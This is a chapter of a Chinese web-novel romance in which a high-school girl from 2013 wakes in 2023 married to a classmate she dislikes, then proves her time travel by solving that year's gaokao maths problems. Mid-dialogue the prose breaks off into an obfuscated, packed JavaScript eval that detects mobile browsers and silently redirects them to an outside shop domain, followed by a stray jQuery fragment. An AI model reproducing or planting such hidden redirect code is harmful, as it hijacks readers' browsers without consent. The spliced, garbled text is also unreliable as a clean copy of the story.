你们做过莫名其妙的梦吗?
闷热潮湿的午后教室。
邱拾穗趴在课桌上睡了一个昏昏沉沉的觉。
快要醒来的时候能感受到沙沙的翻书声,电风扇在头顶嗡嗡作响。
她尝试转动了一下头的方向,睡眼惺忪地问同桌沈若茜:“老师来了没,没来我就多睡一会。”
朦胧之中感受到旁边有人在晃动,但是并没有人回答她。
这一场朦胧持续了许久。
有一个世纪那么长。
她强行抬起了被胶水粘合起来的沉重的眼皮。
自己正在躺在一个温暖的被子里,但是似乎身处一个陌生的地方。
探头扫视了一下周遭的环境。
蓦地。
邱拾穗几乎是一下就被吓醒着弹坐起来,睡意全无。
在清醒的第二秒,邱拾穗就立马甩开身上的被子,一个趔趄从柔软的床上下来,光脚踩在了冰凉的木地板,双手交叉抱住手臂。
这是一个意式风格的卧室,布置奢华又极简,陈设一览无余,房门紧闭着。
此时,门外传来有人正在输入密码的动静。
在“嘀嘀嘀”声后的几秒中,脚步声愈发清晰,朝着这个方向靠拢。
一步。
两步。
邱拾穗顺手抄起了床头柜上笨重的台灯,废了点力气。自己的心脏好似随着这卧室冰凉的门把手一起在转动。
在看清门后面是谁之前,邱拾穗的呼吸几乎都要停滞。
一个高挑削瘦的身影出现在门后面,这个身影很长,连门外明亮的日光都要被遮挡几分。
她攥紧了手中的物品。
这人眉眼怎么如此眼熟?
“你为什么会在这里?”
“我为什么会在这里?”
“不对,我不是在教室睡觉吗?”
“这是哪儿啊?这是怎么回事?”
对面那人显然被她一连串的质问吓了一大跳,挺直了身子半天没有说话。
在沉默中,邱拾穗看到他身上的棉质短袖藏青睡衣,颈下的扣子没有扣好,露出了一大片的白皙脖颈。
他怔怔地看着退到逼仄墙角的邱拾穗。
用右手食指揉了揉太阳穴,发出一句无奈的疑问句——
“老婆,你在说什么啊?”
这一声称呼简直是让邱拾穗怀疑人生了,脑子里仿佛有一个大锤重重锤下,只能听到嘈杂的嗡嗡声。
往后退了一小步,她脚跟已经死死地贴在冰凉的墙壁上。
“谁是你老婆啊?”
“时青,你是不是补习补傻了!你好好看看我是谁!”
“首先,我未成年。其次,我和谁结婚也不会和你结婚!”
时青一脸不可思议地欲言又止,想起了什么,就走到床尾的五斗柜里翻找了起来。
马上从第二层柜子里掏出了两个枣红色的小本子,关上斗柜,面完表情地径直移动到了邱拾穗的面前递给她。
然后坐到窗边的软椅上,翘着腿懒洋洋地睨着她。
“你要不自己看吧,你才是睡觉睡傻了开始发神经。”
眼前的这个人,气质和她脑海中的那个教室里坐她前排少年完全不一样。
虽然还是一样的高挑清瘦,一样的五官。
但他现在的刘海长到把他浓郁的眉毛全部盖住,眉眼深邃浓郁,五官更清晰,皮肤好到更是连一颗青春痘都没有。
她松开手里的台灯,踌躇着接过。
看清手中的东西是——
结婚证。
再次用力地睁了睁自己的眼睛。
直至确认了证件照上明媚的、开朗的那个人是和自己面貌一样的人,邱拾穗拿着证件的手开始颤抖。
视线再往下移,落在了领证日期上——
2023年6月25日。
不对。
“2023年?”她和时青的目光碰了碰。
“现在不是2013年吗?你忘记了吗?咱们班刚参加完全校的百日誓师,你就坐我前面啊。”
时青伸出手摸了摸邱拾穗的额头。
“你没事吧?”
邱拾穗没好气地拿开了他放在额头上的手,一抬眸,亮起的屏幕正立在她的眼前。
2023年7月8日下午3点26分。
接过他手里的手机,上面显示:面容解锁了手机。
这是,属于她的手机。
虽然手机上的Logo是可以叫得出名字的,但这款她从没有见过的手机型号,轻薄宽大,翻动屏幕里面很多App也是她不熟悉的。
她缓缓走到床尾的化妆镜前,开始端详着镜中的那个人。
一身成熟风格的丝绸光泽睡衣,仿佛是一夜之间变长的卷发散落肩头。
她双手捧着自己清瘦白净的面颊,盯着自己的瞳孔,陌生到害怕。
2023年。
她掐了一把大腿,大腿处传来的痛感和冰凉的地板温度贯穿了她的身体。
这感觉就仿佛在一个炎热的夏天,不小心翻开了一本透心凉的鬼故事。
迅速打开房门,向下的电梯按钮亮起,数字从20开始倒计时。
公寓外的热浪袭来,邱拾穗不自觉地就停在了人来人往的马路中间,怔怔地望着这一切,脑袋空空。
川流不息的车流因为这突如其来的一幕打乱了阵脚,纷纷鸣起了急躁的笛,随之扬起粗粝的风打在了她的脸上。
“你干嘛?发了一天神经还不够,还要找死吗?”
匆匆跟上的时青将她扯回了马路边缘的安全区域。
一阵恍惚。
她伸出手,捞起了一旁人的手臂,像是抓住了漂浮在苍茫大海的一根浮木。
“时青,学校在哪?”带着颤抖的无措的语气。“咱们学校。”
“学校?”时青表情疑惑,不知道她想要干嘛。“我开车带你去。”
周六下午,十中保安处大爷已经毫无意外地打起了盹。
熟悉的十中校园空无一人,铁皮公告栏已然斑驳,一切陈设都像是被按下加速键般生长。
邱拾穗直奔六楼那间教室。
她坐在了她的座位上,胸口因狂奔起伏不止。
拿起正摊开在桌上的一张试卷,天然的纸张味和刺鼻的油墨味扑面。
纸卷的标题——
2023年沪城高考题。
回过头来,只见时青单手插着兜,斜靠在教室后面的那块黑板边。
邱拾穗拿着纸卷的手在抖。
难道是因为最近穿越剧摄入过多,所以自己也产生了这样的梦境吗?
一时间也没有反应过来,是穿越这件事情给她的震撼大,还是来到这个和她最讨厌的高中同学结婚的十年后受到的震撼大。
“说来你可能不会信,我自己都不敢信。”
她面对着他挤出了一个尴尬又勉强的笑容,“但是我好像......真的......穿越了。我刚刚的的确确在这张课桌上睡觉,不知怎么的,一醒来就变成这样了。”
“这也太神奇了吧。”时青用略显夸张的表情回应着上面这无厘头的发言。
“是吧是吧,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762047|145588||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
相信我了!一般从过去到未来的穿越者都很难证明穿越这件事情。”邱拾穗突然开朗。
“我相信你的演技没有观众骂的那么差了,至少今天演的挺逼真。这是你最近接的新本子?想和我对戏一下?”时青边配合上掌声边对她竖起大拇指。
邱拾穗这时才意识到自己根本没有能力去证明这个“我是从过去而来”的命题。
她无奈地叹了一口气,将头埋在桌子的试题中,熟悉的姿势会带来一些微不足道的安全感。
“你不信我就算了,我也没有任何办法证明,因为这听起来真的很胡扯......”声音越来越微弱。
许久之后抬起头,她瞄了一眼桌子上的试卷。
灵光一现。
“我有办法证明了!”
白纸正被她书写着一行又一行密密麻麻的公式,像是被印刷出来的那样工整利落。
旁边摆着今年高考最后两道大题的题目,一道立体几何,另一道是求函数的单调性和某个参数的取值范围。
时青静静地坐在教室最后排。
他有十年没来过这里了。
窗外光影虚虚实实地随着树影浮动着,时间不动声色地从叶片中间飞过。
屋外吹来的风,盘旋起了正在奋笔疾书的人的发丝,整个背影泛起金黄,和十年前某个午后那个坐他前排的女孩完全重合。
二十多分钟过去,两道道数字大题就这样被她完整又清晰的解出,好像就和刷牙洗脸一样寻常。
她晃了晃手中的A4纸。
“你看看,2023年的你会做吗?虽然2013年的你也不会,但是2013年的我会啊。”
时青接过,试图去浏览这数十排等式,堪比看天书。
十年前的东西早已经忘的一干二净,除了勉强记得三个点是代表的“因为”和“所以”,其余的,一个字母都看不懂。
“综上所述,我真的是从2013年过来的。”
邱拾穗无奈地耸了耸肩膀,摊开手:“如果你不相信我,就不相信好了。”
时青拿起手机搜索了参考答案,来回比对了一下草稿纸上的结果,最后一道大题四个答案精准无误,每一个解都没有落下。
他瞥了一眼邱拾穗,又仔细看着手中的试题,神色玩味。
确实需要一点时间来消化一下眼前的信息。
“那我,暂且相信你?”
“因为你现在的字,确实没有这么好看,现在写出来的就像是一排蚯蚓。”
邱拾穗从他嫌弃的语气中反应过来另外一件更离谱的事情,这比穿越这件事情更让人无法相信。
“等一下啊,请问,为什么十年后的我会和你结婚啊,离离原上谱,2023年是地球上的男人都灭绝了吗?”
时青轻靠在课桌的边沿,抱着手臂,“不好意思让你失望了,地球上的男人到现在为止还没有灭绝。恭喜你!还和那个最优质的男人结婚了。”
她又好气又好笑。“我不信!因为我不可能会喜欢你。”
这句同样的对白,穿越漫长的十年时光又再一次来到他的面前。
这头也不服气,“我也不喜欢你。十八岁的你可能无法理解,但是人的一生,很多事情来源自机缘巧合。”
他还凑了过来,离她的脸格外近,似乎在用一种挑衅的语气:“老。婆。”
好像存心了要刺激她一样。
要命。
她打了个激灵:“求求你了,以后别这样叫我,我才十八岁,你最好放尊重一点。”
所以,到底是为什么我会和他结婚啊?!